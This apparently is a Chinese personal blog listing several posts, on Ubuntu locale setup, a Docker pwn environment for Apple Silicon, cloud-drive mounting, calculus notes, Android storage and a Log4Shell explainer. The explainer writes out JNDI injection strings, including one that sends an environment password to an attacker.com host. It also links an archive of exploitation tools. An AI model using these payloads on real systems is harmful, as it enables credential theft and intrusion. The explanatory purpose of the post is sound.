前言: 本人已亲测有效! 解决方案: 分两步 把Ubuntu改为英文环境 配置语言环境变量 1 vim /etc/environment 清空里面的信息改成: 1 2 LANG="en_US.UTF-8" LANGUAGE="en_US:en" sudo vim /var/lib/locales/supported.d/local 清空里面的信息改成: 1 en_US.UTF-8 UTF-8 保存后,执行命令: 1 sudo locale-gen sudo vim /etc/default/locale 清空里面的信息改成: 1 2 LANG="en_US.UTF-8" LANGUAGE="en_US:en" **终端输入Reboot回车,重启 ** 增加中文支持 1、首先,安装中文支持包language-pack-zh-hans: 1 sudo apt-get install language-pack-zh-hans 2、然后,修改/etc/environment(在文件的末尾追加): 1 2 LANG="zh_CN.UTF-8" LANGUAGE="zh_CN:zh:en_US:en" 3、再修改/var/lib/locales/supported.d/local(没有这个文件就新建,同样在末尾追加): 1 2 3 4 en_US.UTF-8 UTF-8 zh_CN.UTF-8 UTF-8 zh_CN.GBK GBK zh_CN GB2312 4、最后,执行命令: 1 sudo locale-gen 5、对于中文乱码是空格的情况,安装中文字体解决。 1 sudo apt-get install fonts-droid-fallback ttf-wqy-zenhei ttf-wqy-microhei fonts-arphic-ukai fonts-arphic-uming **终端输入Reboot回车,再重启,即应该解决问题 **

2021/12/18
articleCard.readMore

在Apple Silicon(ARM架构)上使用docker搭建Linux解题环境(含pwn)

前言 本人之前一直使用pd虚拟机,因为apple silicon是arm架构的导致我在虚拟机中为了搭建环境废了不少心思,结果还是没弄好. 便尝试使用docker(其实昨年就知道docker在mac上有预览版了,而当时也没mac就关注了一下,没想到我在Stack Overflow上居然看到了解决办法) 为什么我会想用docker呢? 在Stack Overflow上关于/lib64/ld-linux-x86-64.so.2: No such file or directory error这个问题的答案中, 我看到了这样一条 我就突然想起用docker可以pull一个x86的ubuntu的镜像.只需加上参数–platform linux/amd64 pwn大佬看这: 最终配置完成后gdb调试是无法进行的,猜测是docker基于qemu虚拟化的问题,以什么权限运行都无法进行gdb调试,只能说作为临时救急用 已知问题: 目前没法动调起来,所以我买了台x86的服务器. 问题参考: https://github.com/docker/for-mac/issues/5191 https://stackoverflow.com/questions/68435791/warning-ptrace-function-not-implemented-during-startup-program-exited-with-cod https://stackoverflow.com/questions/20590155/how-to-single-step-arm-assembly-in-gdb-on-qemu/28241508#28241508 本机配置 下载并安装docker (✔)Docker Desktop for Apple silicon (预览版) (✘)Install Docker Desktop on Mac docker的安装和普通软件一样拖入即可完成安装, 在终端输入docker -v 就可以看到docker的版本了~ 注意事项: 接下来打开程序点OK输入密码后点安装 之后点同意接受.才算程序加载完成. 环境配置 pull镜像 这里我用的是ubuntu18.04基于x86的基础镜像,其中参数 --platform linux/amd64 必不可少 docker pull ubuntu:18.04 --platform linux/amd64 启动容器 接下来用以下命令来配置虚拟机基础环境并运行 1 docker run -i -t -d --name=ubuntu-18.04 ubuntu:18.04 && docker exec -it ubuntu-18.04 /bin/bash 使用uname -a即可发现镜像正确运行在了x86架构上~ ubuntu环境配置 首先进行换源操作. 更换apt源 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 apt-get update && cp /etc/apt/sources.list /etc/apt/sources.list.bak && \ apt-get install apt-transport-https ca-certificates -y && \ echo ' # 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释. deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse # 预发布软件源,不建议启用,需要自取. # deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse ' > /etc/apt/sources.list &&\ apt-get update 换源建议参考:https://blog.csdn.net/xiangxianghehe/article/details/80112149 更换pip源 1 2 3 apt-get install vim -y && \ mkdir ~/.pip && \ vim ~/.pip/pip.conf 然后在vim中粘入 1 2 3 4 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple/ [install] trusted-host = pypi.tuna.tsinghua.edu.cn 按 :wq回车 (退出并保存) 顺便安装pwn工具 安装pwntools 1 2 apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential -y pip install pwntools 这个过程等待较久.只要在跑就没问题. 安装pwndbg 1 2 mkdir /software && cd /software && \ git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh 如果出现这个情况(在运行git clone命令时很容易出现这个情况): 这就说明下载的包太大,网速慢超时报错.由于git默认缓存大小不足导致的,使用下面的命令增加缓存大小。 解决方案: 方案一(推荐): 将https换成git或http,其实应该去检查一下换源是否成功 方案二: 1、查看git 配置: 查看当前配置命令: git config -l 2、httpBuffer加大 输入命令: git config –global http.postBuffer 524288000 此时我们再查看当前配置命令,发现http.postbuffer变成了524288000 3.修改配置文件 输入命令: vim ~/.bashrc 把以下三行命令添加到文件的最后:具体方法参考添加链接描述 ​export GIT_TRACE_PACKET=1 ​export GIT_TRACE=1 ​export GIT_CURL_VERBOSE=1 ​保存退出 安装peda 1 2 git clone https://github.com/longld/peda.git ~/peda && \ echo "source ~/peda/peda.py" >> ~/.gdbinit 32位libc环境 1 apt install libc6-dev-i386 lib32z1 -y 打包容器 至此,基本环境搭建完毕,我们将容器进行打包,先退出容器,使用docker ps得到容器ID,然后使用commit命令进行打包 docker commit -m "18.04" <容器id> lanyun/ubuntu 之后我们启动容器的方法是 1 docker run -i -t --privileged -v /Users/lanyun/Downloads:/share lanyun/ubuntu bash 注意,必须要使用 –privileged 参数否则我们无法调适,同时我们可以使用-v参数来挂在本地文件夹到容器中,实现共享,就不需要麻烦的进行复制操作来运行pwn文件了。 目前使用何种参数设置都无法进行调试 设置文件共享 之后直接进share目录里面就有我们共享的文件了 运行也正常(在之前arm架构下是无法运行的) 拓展 Docker - 实现本地镜像的导出、导入(export、import、save、load)

2021/12/18
articleCard.readMore

关于解决这该死卡顿的typora的替代方案

typora困扰我很久了 每次字写多了卡得一批,光标还乱飞 把我气死了!!! 害我研究测试使用了很多markdown软件,害得我搞图床,研究一番… 虽然舒服程度,和顺手程度没typora好用!但是它们不会很卡!!! 在尝试了不限于一下软件后 我最终决定: mark text 加 PicUploader (后来发现在Mac上最好用的图床软件是upic) 而不是 Visual Studio Code 加 pico ,因为难用等… 也许是不会用 其他软件也是. 这个软件由于image创建目录与typora规则不用,无法实现兼容,故只好采用图库来弄 但是mark text 自带的图库配置好后,软件自身有 5M 照片体积,这就很难受 毕竟我的照片一般都很大,所以采用了外加PicUploader方法来解决这个问题 这是这个工具的链接🔗: https://gitee.com/xiebruce/PicUploader/ 搭建php+nginx运行环境这个用了我不少时间,最后不想搞了,在线蹲个大佬手把手. 虽然中途很多地方不行,硬件信息:不过最后还是搞定了. (对于no such file的问题,可以先尝试brew update再brew install php 就很有用!) 不过话说回来,我们也不能一棒子吧typora打死. typora写小文件,真舒服,真香. 不过在写大文件时我绝对不会用它!

2021/12/18
articleCard.readMore

关于mac如何挂载天翼云盘和阿里云盘到本地

本文提到的工具:sharelist 安装 Sharelist支持多种安装方式。 脚本安装 脚本安装适合不熟悉NodeJs的用户。 执行命令后将自动安装NodeJs环境,并在当前目录(执行命令的目录)安装sharelist。 1 wget --no-check-certificate -qO- https://raw.githubusercontent.com/reruin/sharelist/master/netinstall.sh | bash 访问 http://localhost:33001 即可进入 WebDAV 目录 http://localhost:33001/webdav sharelist自带更新脚本,在sharelist目录内执行 update.sh即可自动更新。 Sharelist需要NodeJS运行环境(>=8.0),一些早期的发行版可能无法被支持。此脚本不支持Windows。 手动安装 如果已有NodeJs环境,或者需要在windows下安装,可选择手动安装。 将项目仓库克隆到本地,进入项目目录执行: 1 2 3 4 5 6 npm install npm install pm2 -g pm2 start app.js --name sharelist --env prod pm2 save pm2 startup 更新 1 bash update.sh Docker 1 docker run -d -v /etc/sharelist:/sharelist/cache -p 33001:33001 --name="sharelist" reruin/sharelist 本人更推荐这个方法,前提是需要你已安装. 如何安装: 不同操作系统安装过程大同小异,这里用Mac OS下举例 打开https://www.docker.com/products/docker-desktop下载打开 拖入即完成安装. 打开终端,粘贴上面的命令 ,安装完成: 如果出现图中的warning,则你有可能是用的是apple silicon的Mac,目前本人对于docker暂时无解. Heroku Kubesail ![Deploy](关于mac如何挂载天翼云盘和阿里云盘到本地/deploy to-kubesail-blue.svg) For Apple Silicon Mac(对于苹果芯片) 去release下载二进制版。下载如图所示.打开即完成安装. 开始 安装完成首次访问 http://localhost:33001 地址,将进入初始化界面。 或访问 http://localhost:33001/@manage 进入后台管理,默认口令为 sharelist 例如,我先设置个天翼云盘: 之后返回看一下是否加载出来,如果加载出来,就可以进行下一步~ 接下来,我们打开finder(访达) ,使用快捷键command+k或 点击连接,从中我们可以登录所需信息. 天翼云盘就OK了~ 阿里云盘同理,抓包即可,我担心ck失效加上不经常用,我天翼云盘有120多T空间,不限速目前应该够我用一段时间了. 另外ipv6计划失败

2021/12/17
articleCard.readMore

浅谈Log4Shell 漏洞

前言 这个漏洞出来的时候,我还不知道是什么,看到最近热度依然很高,就稍微了解一下,记录一下. 分卷: log4j.7z.001 log4j.7z.002 log4j.7z.003 log4j.7z.004 log4j.7z.005 备份链接(分包压缩):log4j.zip 密码: g3st 这个是这漏洞的利用工具等,注意仅供研究学习使用,请于24h后删除!请勿用于非法用途! 文件结构图: 首先,Log4Shell 漏洞所针对的,是一个极为常用的 Java 库 Log4j 据了解,这个漏洞最初是由一名中国工程师、阿里云安全团队的 Chen Zhaojun 在 11 月下旬发现并提报的。 有记录的利用 Log4Shell 漏洞发起的攻击开始于 12 月 9 日,最初是针对微软的 Minecraft 游戏 Java 版。但人们很快发现 Log4Shell 的波及范围远不止于此。根据 GitHub 仓库 YfryTchsGD/Log4jAttackSurface 中的攻击案例截图,Apple iCloud、QQ 邮箱、Steam 商店、Twitter、百度搜索等一系列国内外主流服务或平台均存在该漏洞。 不过,Log4j 已经于 12 日发布 2.15.0 版本,修复了漏洞,并且对于暂不能升级的旧版也提供了临时应对方案。 受影响的大型平台也作出快速响应。10 日,Minecraft 发布 1.18.1 版,说明已修复了漏洞;亚马逊发出安全警告称,「正积极监控该问题,并已在寻求解决方案」;IBM、Red Hat、甲骨文、VMware 等知名科技公司也宣称正在部署补丁;Apple 尽管没有官方回应,但根据 11 日的测试,原本受到影响的 iCloud 似乎也已经修复。此外,目前暂无因该漏洞导致重大安全事故的报道。 然而,由于该漏洞影响范围之广,受影响服务完成更新或修补仍需不少时间,因此近期内风险仍不可忽视。事实上,根据以色列安全公司 Check Point 的监测,截至 12 月 12 日凌晨(太平洋时间),该公司已拦截到超过 40 万次针对该漏洞的攻击尝试,其中 45% 以上为已知恶意团体所发起。另根据 BleepingComputer 的报道,现已发现一些利用该漏洞安装挖矿脚本、组建僵尸网络和远程监控的案例 我对于编程和信息安全都是小白(菜鸟),但最近围绕Log4Shell的文章和报道很多,引起了我的好奇. 漏洞演示中简单到极致的攻击步骤——只是在对话框、搜索框里输入一段特殊文本就能触发. 本文是我在经过粗浅研究后的笔记,旨在向非专业用户介绍 Log4Shell 漏洞的机制。时间和能力所限,难免有不准确之处,敬请指正。 例子:记录员的故事 如果你跟我之前一样,对这个漏洞的描述一头雾水,不妨先通过下面这个比较粗略的比方来建立一个初步印象。 设想一个单位部门的门口有个登记处,里面坐着一个记录员。每当有人进入,记录员都会在一本访客日志上记下一笔: 1 <某人> 于 <某日> <某时> 因 <某事> 来访 要填写的这些信息中,有些是记录员在下笔之前并不知道的。比如,今天的日期、当前的准确时间,经常需要看一眼日历和手表才能确定;又比如,有的员工嫌报名字麻烦,就干脆报一个工号,让记录员回头自己去花名册里查。 某天,迎面跑来一个急匆匆的身影,还没等记录员问清姓名来意,就扔下一句:我赶路呢,来不及跟你唠废话登记了,你回头打我这个号码,我再跟你说。 老实的记录员也没多想,就记了一笔: 1 ___ 于 12 月 10 日 9:41 因 ___ 来访(回电话 138 XXXX XXXX 问后补) 后来,记录员也确实根据来人要求,拨出了电话,追问对方的具体信息。 **记录员的做法有什么安全隐患呢?**首先,他或许并没有权限用内部电话对外联系,往最轻的方面来说,这也泄露了不对外的内部号码。此外,如果对方来者不善,在通话过程中各种诱导哄骗,记录员还可能有意无意地泄露一些保密信息,以至做一些超越职权、不符合内部规程的事情。 这也就是 Log4Shell 漏洞的核心:它利用 Log4j 这个「日志记录员」看似不起眼、实则功能和权限都不少的模块,通过诱使其对外连接攻击者控制的服务器,达到收集隐私信息、执行恶意代码的目的。 漏洞是怎么运作的? 在形象认识的基础上,我们下面继续从技术角度说明 Log4Shell 漏洞的原理。 Log4j 是一个 Java 语言的库(library)。所谓「库」,通俗地说就是服务于特定功能、可以重复利用的软件代码;如果在开发其他软件时需要用到这种功能,直接拿来套用就行了,避免重复劳动。 Log4j 库所实现的功能就类似于上面故事里的记录员——写日志。由于 Java 是一种非常流行的语言,而 Log4j 是最主流、常用的 Java 库之一,它的代码遍及各类主流软件和服务;这就是 Log4Shell 波及范围广泛的原因。 Log4j 是根据配置文件中设定的「模板」来记录日志的。为了增加灵活性,Log4j 的模板中可以留下一些特殊语法的「待定内容」;在实际生成日志时,Log4j 会根据这些语法的指示,通过检索、查询、计算,将这些待定内容替换为实际内容,记录到日志里——正如上面那个记录员通过翻日历、看手表、查花名册,补齐访客记录里的空档一样。 那么,Log4j 都支持补齐哪些「待定内容」呢?根据文档,这主要包括日期时间、运行环境信息(例如用户名、Java 版本、系统语言)、事件信息等。 例如,如果在模板里写 ${date:yyyy-MM-dd},那么 Log4j 就会将其替换为形如 2021-12-12 的当前日期记录下来;如果在模板里写 ${java:version},Log4j 就会将其替换为形如 Java version 1.7.0_67 的实际 Java 版本记录下来。 不过,除了这些比较常规的待定内容,Log4j 还支持一种更为复杂的替换方式,称为 JNDI 查询。JNDI(Java Naming and Directory Interface)是 Java 的一项内置功能,它允许 Java 程序在一个目录——可以想象为一个花名册或电话本——中查询数据。 这里,就要提到很多攻击例证里出现的字样——LDAP。LDAP(轻型目录访问协议,Lightweight Directory Access Protocol)是网络世界里一种特别常见的实现「花名册」功能的协议。简而言之,LDAP 通过一种标准化的语法(称为识别名,Distinguished Names 或 DN)记录身份信息。例如: 1 CN=John Appleseed,OU=Sales,O=Apple 表示一个常用名(commonName)为 John Appleseed,所属组织单位(organizationUnit)为 Sales,所属组织(organization)为 Apple 的对象(通常对应一个用户)。 LDAP 支持通过 URL 地址的形式查询信息。例如,访问如下地址: 1 ldap://ldap.example.com/cn=John%20Appleseed 就会向 LDAP 服务器 ldap.example.com 请求常用名为 John Appleseed 的用户信息。 根据文档,JNDI 查询的语法是 ${jndi:<查询位置>}。一般而言,这里的「查询位置」是一个取决于软件运行环境的内部位置,因此 Log4j 会自动给它加上 java:comp/env 的前缀再查询。这就好比在公司内部说「查花名册」,默认就是指查该公司雇员的名册一样。 但特殊地,如果查询位置里包含冒号(:)——最可能的情况就是一个固定的 URL 地址,例如 ${jndi:ldap://ldap.example.com/a},那么,Log4j 在查询时就不会追加上述前缀,而是直接向这个写死的地址查询数据。 实现漏洞的链条就此串了起来。上述功能组合在一起,造成的结果是:Log4j 在记录日志时,可以通过 JNDI 接口,向一个外部的 LDAP 服务器发送请求。 换言之,只要设法让使用了 Log4j 的程序记下一条内容形如 ${jndi:ldap://ldap.example.com/a} 的日志,那么记下这条日志的同时,程序就会试图向 ldap.example.com 请求查询数据,然后解析查询结果并写进日志。 乍看上去,这似乎也没什么大不了。但是,一方面,日志的来源是广泛而多样的,其内容非常容易被操纵。另一方面,记录日志往往是由一个内部服务器或组件负责的,它们可能根本不应该与一个外部网址通讯。两个因素结合,就使得 Log4Shell 漏洞很容易触发,危害性又很高。 例如,很多服务器会通过日志记录访客的浏览器信息(即 HTTP 请求头中的 User-Agent)、登录的用户名,或者搜索内容。因此,只要将这些信息替换成 ${jndi:ldap://ldap.example.com/a} 之类构造出的内容,就可以通过简单的浏览、登录或搜索操作,往服务器里塞进一条特殊构造的日志,致使服务器访问这条恶意日志中的地址。 需要指出,攻击文本中所用的 ldap.example.com 甚至不需要是一个真正的 LDAP 服务器。因为仅仅是让本不应访问外网的服务器访问外网并留下痕迹,就已经具有一定危害后果了。 留意观察现有攻击例证,会发现很多例子用到的攻击文本中频繁出现 dnslog.cn、ceye.io 等域名。这些网站的功能类似,都是允许生成一个随机网址,该网址被访问时,会记下访问者的 IP 地址等信息并即时显示在页面上。因此,这类网站经常被用来测试注入式漏洞——包括这次的 Log4Shell 漏洞——的效果:如果能成功操作被攻击主机访问自己生成的网址、留下访问记录,则表明攻击是有效的。 实例 例如,在下面的截图中,攻击者将构造的字符串作为用户名来登录 iCloud 账户。显然,这个字符串进入了 iCloud 服务器的日志中,进而触发漏洞,访问了字符串中所包含的域名: 类似地,在下面的 QQ 邮箱截图中,攻击者将构造的字符串填进了邮箱的搜索框,同样导致了腾讯服务器被记录: 又因为 JNDI 查询的语法是可以嵌套的,这进一步将可能泄露的内容范围,扩大到了任何 Log4j 所能接触到的运行环境信息。正如一些用户在 GitHub 上的漏洞讨论中指出,形如 ${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD} 的恶意日志,就会引导 Log4j 首先将内层的 ${env:MYSQL_PASSWORD} 替换为真实的 MySQL 数据库密码,然后通过 URL 泄露给 www.attacker.com。 此外,注意到 JNDI 的本意在于查询——不仅是发出请求,而且会记录和处理查询结果,因此这个漏洞不仅会导致服务器信息泄漏,而且允许攻击者向服务器传递任意危险内容,可能还包括执行恶意代码。 例如,一个正常的 LDAP 服务器在收到查询请求时,返回的只是查询到的用户信息。但如果这是一个攻击者控制的「假」LDAP 服务器,那么它可以返回任意恶意内容——例如一段包含窃取或破坏功能的代码。 例如,上文提到的 BleepingComputer 报道中提到一个现有的真实案例:攻击者将一段使用 base64 编码的终端脚本附在 JNDI 查询指令中,导致被攻击机器下载并安装了挖矿程序: 这种利用程序不经检查地将文本信息还原为对象的功能,注入和执行恶意代码的漏洞,术语称之为 「反序列化漏洞」(deserialization vulnerabilities),本身并非新鲜事物,在 Java 安全语境下也多有讨论。但或许是因为 Log4j 所服务的日志功能相对没那么引人注目,这个漏洞才蛰伏许久方被发现。 最后,当今网络服务往往是由相互通讯的多个组件构成的。因此,即使直接接收恶意信息的组件不受漏洞影响,这则恶意信息也可能通过数据传输,在某一步被一个后端组件所记录和执行;这极大扩展了漏洞的攻击面和危险程度。 Cloudflare 就在针对本漏洞的博文中举例说:假设一个物流数据系统,它读取包裹上的二维码信息,通过 Log4j 记录下来,然后传给后台服务进一步检索处理。那么,攻击者就可以将恶意构造的信息藏在二维码里,通过上述流程传给后台服务执行。 漏洞易补,根源难除 尽管 Log4Shell 漏洞的危害很大,但好在修复起来思路并不复杂。正如修复漏洞的 Log4j 2.15 版更新记录所示,其主要的修复方法就是加强对 JNDI 的限制,包括默认仅限访问本地的 LDAP 服务器(而非任意远程位置)、禁用大部分 JNDI 通讯的协议等。 而对于暂没有条件升级到新版 Log4j 的服务,也可以通过设置参数禁止 JNDI 查询,或者直接把 JNDI 查询相关代码切割出去,从而实现弥补漏洞。 此外,「存在漏洞」并不代表「会被利用该漏洞攻击」。正如 Ars Techinica 的文章所指出,网络服务往往设有多层的防护机制。即使其中的一个组件存在漏洞,其风险也可能被其他组件的安全机制所阻挡和弥补。 还是以开头的情景为例,那家公司可能从硬件层面禁止用内部分机拨打外部号码,或者监控、阻断员工未经授权的对外通讯,从而杜绝「记录员」被利用的可能性。 然而,哪怕 Log4Shell 的风波随着补丁推出逐渐消退,这一事件也能促使很多超越漏洞本身的思考。 首先是一个软件系统设计的问题:很多评论都惊讶地指出,Log4j 的权限和「胆子」是不是太大了?区区一个「记录员」的角色,怎么能擅自访问未经鉴别的外部地址、甚至任意执行外部代码呢?即使记录不全需要后续完善,难道不也应该先原样抄录(例如技术上对变量做转义处理,即当作纯文本存储),然后交给职有专司的其他组件来查询和补充吗? 特别是当人们找出罪魁祸首——当初引入这个漏洞的功能提案,发现提案者的**主要理由只是为了「方便」**后,就更加有理由怀疑这个 JNDI 查询功能的加入是否过于草率了。 对此,一种解释是,这是过时开发思路的遗留。例如,Hacker News 用户 @toyg 指出,早年的 Java 开发偏好这种大而全、一个组件实现多种功能的思路,Log4j 这些令人后怕的「丰富」功能可能就因此而来;他还认为,LDAP 传统上是一个跑在内网上,被推定为「安全」的服务,这也容易让人忘记设置安全防护措施。 其次,作为一个由社区维护的开源项目,Log4j 此次漏洞也让人反思开源维护者是否得到了应有的支持和理解。事件发生后,Log4j 维护者 Volkan Yazici 在一条推文中不无委屈地说: Log4j 的维护者们废寝忘食地提供补救措施;发补丁、写文档、提交 CVE(通用漏洞披露,信息安全行业通用的安全漏洞披露机制——译注)、回复询问,等等。但这都拦不住人们来责难我们,就为了一项我们未收分文的工作,为了一项我们也讨厌、但为了向后兼容不得不保留的功能。 进而有人从维护者 Ralph Goers 的 GitHub 支持者页面发现一段颇为谦卑的陈述: 我用业余时间开发 Log4j 等开源项目,所以一般只 [有空] 解决那些最感兴趣的问题。我一直梦想全职做开源,希望能靠你的支持梦想成真。 而略显讽刺的是,这段话下面赫然显示「3 人赞助了 rgoers 的工作」(情况曝光后数量略有增加)。 既然 Log4j 的使用如此广泛、在各大主流服务中任劳任怨,那么大厂的担当和风范何在?因此有观点主张,使用开源项目的公司有道德上的责任赞助和支持项目的维护者;还有人提出,大厂即使不提供金钱支持,是不是至少应该义务提供技术力量,辅助改进整个项目,而不是自扫门前雪,修好自己的服务了事? 还有观点指出,这次安全漏洞再次提醒我们,开源不等于安全。尽管开源代码是可以审计的,但很多时候并不会真正有人去认真检查;相反,这还可能让人们放松警惕,为 Log4Shell 这样的严重漏洞留下长期潜伏的空间。 此外,维持旧版兼容性与尽快升级保障安全之间的矛盾,使用外部库节约开发时间与减少不必要对外依赖之间的矛盾,也是软件设计相关的经典议题,它们同样在这次漏洞之后的讨论中被大量提及。 由于本人知识有限,本文部分内容取自https://mp.weixin.qq.com/s/edXHVF-k7K27eJoaj0LYLw

2021/12/14
articleCard.readMore

大学高数(上)速成笔记

前言: 限于本人知识水平,有些地方可能不太严谨,内容不够完整,请多多指教. 因为是速成类,内容较为精简且公式来源无证明过程,建议每道题熟做并掌握.出于篇幅原因内容可能没有涵盖到考试的全部内容,请见谅. 由于本人技术有限(bushi),大多数地方可以用LaTeX替换的地方,但不是很影响阅读. 其实是懒 资源分卷下载: 高数习题全解上册_同济第七版.pdf.7z.001 高数习题全解上册_同济第七版.pdf.7z.002 极限、连续、间断点 极限 极限存在的充要条件: 求极限时先判断极限是否存在 一般情况: 连续 如果在这一点函数值等于极限值则称该函数在这一点连续 间断点 先找定义域,再判断左右极限 总结 拓展: 学有余力的同学还可以去看夹逼准则,单调有界性原理,泰勒公式,麦克劳林公式,牛顿-莱布尼茨公式等 求极限值 有理化、多项式 略,太简单了 重要极限公式 $\lim_{\Delta\to0}\frac{\sin\Delta}{\Delta}=1$ $\lim_{\Delta\to\infty}\frac{\sin\Delta}{\Delta}=0$ $\lim_{\Delta\to0}(1+\Delta)^{\frac{1}{\Delta}}=lim_{\Delta\to\infty}(1+\frac{1}{\Delta})^{\Delta}=e$ 拓展 例题: 证明:$$\lim_{x\to0}e^{\ln(1+\frac{1}{x})^x}=e^{\lim_{x\to0\frac{\ln(1+\frac{1}{x})}{\frac{1}{x}}}}$$ 令 $t=\frac{1}{x}$ 对上式运用洛必达法则,得 $e^0=1$,即选A. 无穷小 洛必达法则 三角函数求导巧记: ​ secx secx tanx ​ cscx -cscx cotx ∞-∞ 型: 通分 0·∞ 型: 取倒数 1^∞ 型: 取对数 0^0 型: 取对数 ∞^0 型: 取对数 导数 求导定义公式 函数在某点可导的充分必要条件: 左导数等于右导数 求导计算 直接求导:略 复合函数求导 微分 隐函数求导 参数方程求导 可导、可微、连续之间的关系 单调性与凹凸性 单调性与极值点 凹凸性与拐点 拓展 含有拐点(瑕点)的积分一般认为是反常积分(广义积分). 官方解释: 反常积分又叫广义积分,是对普通定积分的推广,指含有无穷上限/下限,或者被积函数含有瑕点的积分,前者称为无穷限广义积分,后者称为瑕积分(又称无界函数的反常积分)。 例如: A. $x=-1$为瑕点. B. $x= 0$为瑕点.属于反常积分. C. $x= 0$为瑕点. D. 无瑕点,且积分区间的上限或下限中无无穷 ∞ ,不属于反常积分. 不定积分 直接积分 凑微分 换元法 分部积分 口诀:反对幂指三 有理化积分 拓展: 倒代换 当分母次数大于分子次数时或只含有幂函数情况下一般选用此方法. 采用方法: $x=\frac{1}{t}$ 进行替换 例题: $\int\frac{1}{x(x^7+2)}dx$ 解:令$x=\frac{1}{t},dx=-\frac{1}{t^2}dt$ $\int\frac{t}{(\frac{1}{t})^7+2}(-\frac{1}{t^2})dt=-\int\frac{t^6}{1+2t^7}dt$ $=-\frac{1}{14}\ln\left| 1+2t^7 \right|+C$ $=-\frac{1}{14}\ln\left| 2+x^7 \right|+\frac{1}{2}\ln|x|+C$ 根式代换 略,很简单的,就一个字“看”,观察根号下的导数与分子的关系. 举不完全的简单例子吧 $\int\frac{1}{\sqrt{x}(1+\sqrt[3]{x})}dx$ 只需令$x=t^6\Rightarrow dx=6t^5dt$ 进而得出$\int\frac{6t^5}{t^3(1+t^2)}dt=\int\frac{1+t^2-1}{1+t^2}dt$ 之后就不详说了,so easy~ 定积分 定积分的计算 凑微分/分部积分 注意分段: 换元换限 三角换元: 反常积分 反常积分(广义积分)中极限不存在即为发散 例如: 定积分的性质 特殊的:$$f(x+T)=f(x)\Rightarrow\int_{0}^{nT}f(x)dx=n\int_{0}^{T}f(x)dx$$ 积分的导数 定积分的应用 三步: 1.画图 2.表微元 dA 3.积分求和 $$A=\int_{a}^{b}\mathrm{d}A$$     $$V=\int_{a}^{b}\mathrm{d}V$$ 利用定积分求面积 做法一 做法二 利用定积分求体积 利用定积分求弧长 记住核心公式: $ds = \sqrt{(dx)^2+(dy)^2}$ 结合$dy=f’(x)dx$ 故上式可化为 $ds = \sqrt{1+(f’(x))^2}dx$ 例如求$a\leq x\leq b$的一段弧长 $s=\int_{a}^{b} \sqrt{1+(f’(x))^2}\mathrm{d}x$ 例题 (嫌字迹丑,建议无视) 极坐标类型 对于极坐标: 弧长 $s=\int_{\alpha}^{\beta}\sqrt{\rho^{\ 2}(\theta)+\rho^{\ \prime\ 2}(\theta)}\mathrm{d}\theta$ 微分方程 可分离变量 形式: $g(y)dy=f(x)dx$ 齐次微分方程 形式: $\frac{dy}{dx}=\varphi(\frac{y}{x})$ 一阶线性微分方程 (必考题) 如果在大题中间,问你求一个表达式时,应该首先想到微分方程 二阶常系数齐次 二阶常系数非齐次 形式: $y’’+py’+qy=e^{\lambda x}P_{m}(x)$ 如果等号后面等于0,则表示齐,如果是非齐次的,分两种情况 一种是如上图所示,第二种是把$P_{m}(x)$换成sin(x)或者cos(x) 微分中值定理 罗尔中值定理 右边内容是给我看的,看不懂很正常右边可以通过e fa/bdx 快速求得 拉格朗日中值定理 拓展: 学有余力的同学还可以去看:柯西中值定理等 附加内容 总结(对前面部分内容):

2021/12/13
articleCard.readMore

浅谈手机数据安全及技术

安卓版本6及以上的机型,分区基本都加密了的,Google还要求开启Data分区的加密以保护手机数据安全. 从安卓10开始,针对分区存储权限进行了巨大变更,具体内容:“针对外部存储的过滤视图,可提供对特定于应用的文件和媒体集合的访问权限” 从安卓11开始,强制执行分区存储机制,若未将 requestLegacyExternalStorage 设为 true 将以停用分区存储的应用 注意:此分区存储机制和本文的Data分区不是同样一个东西,data分区的数据加密指的是/dev/block/by-name/userdata 这个分区 参考: Android 11 中的隐私权变更:https://developer.android.google.cn/about/versions/11/privacy Android 10 中的隐私权变更:https://developer.android.google.cn/about/versions/10/privacy 谷歌对以上手机分区存储机制的改变不限于防止恶意软件读取手机中的数据(恶意软件不限于微信,tim,qq等腾讯类软件)和防止修改Data分区数据 Android 11 中对隐私的重大改变也带来了些弊端 最明显的就是 IO 性能下降 在安卓11采用了FUSE作为用户空间文件系统(Filesystem in Userspace) Fuse优缺点: 优点:1.传统文件系统都是定义在操作系统内核层面上的,要操作系统识别一种新的文件系统,必需重写内核,而内核态代码难以调试,生产率较低;但是用户空间编程和调试难度较小,有更多的语言可以选择(目前FUSE已经绑定了很多语言,比如c++、java等),还可以复用已有的库),从而能够大幅提高生产率,极大地简少了为操作系统提供新的文件系统的工作量。 2.一些服务可以通过统一的文件系统接口来进行访问,比如说ftp、sftp、samba 3.可以把非文件的服务当做文件来实现,比如把gmail提供的巨大的空间用来进行文件存储的Gmail Filesystem 缺点:在用户态实现文件系统必然会引入额外的内核态/用户态切换带来的开销,对性能会产生一定影响。 具体了解可以参考:https://www.wwwbuild.net/androidperf/17565.html 这篇文章详细讲了 FUSE的问题等 我总结了一下,主要有: I/O Overhead (由于文件位于由sdcard守护程序管理的外部存储上,因此需要执行许多其他操作。这些操作让FUSE造成了巨大的开销) Double Caching (由于实现FUSE的方式,Android可以存储所需缓存的两倍) Incomplete Implementation of FAT32 (由于使用FUSE模拟FAT32而引起不正确的时间戳记) 从安卓10开始强制加密的要求扩展到所有安卓设备(电视,盒子,车机等等)。 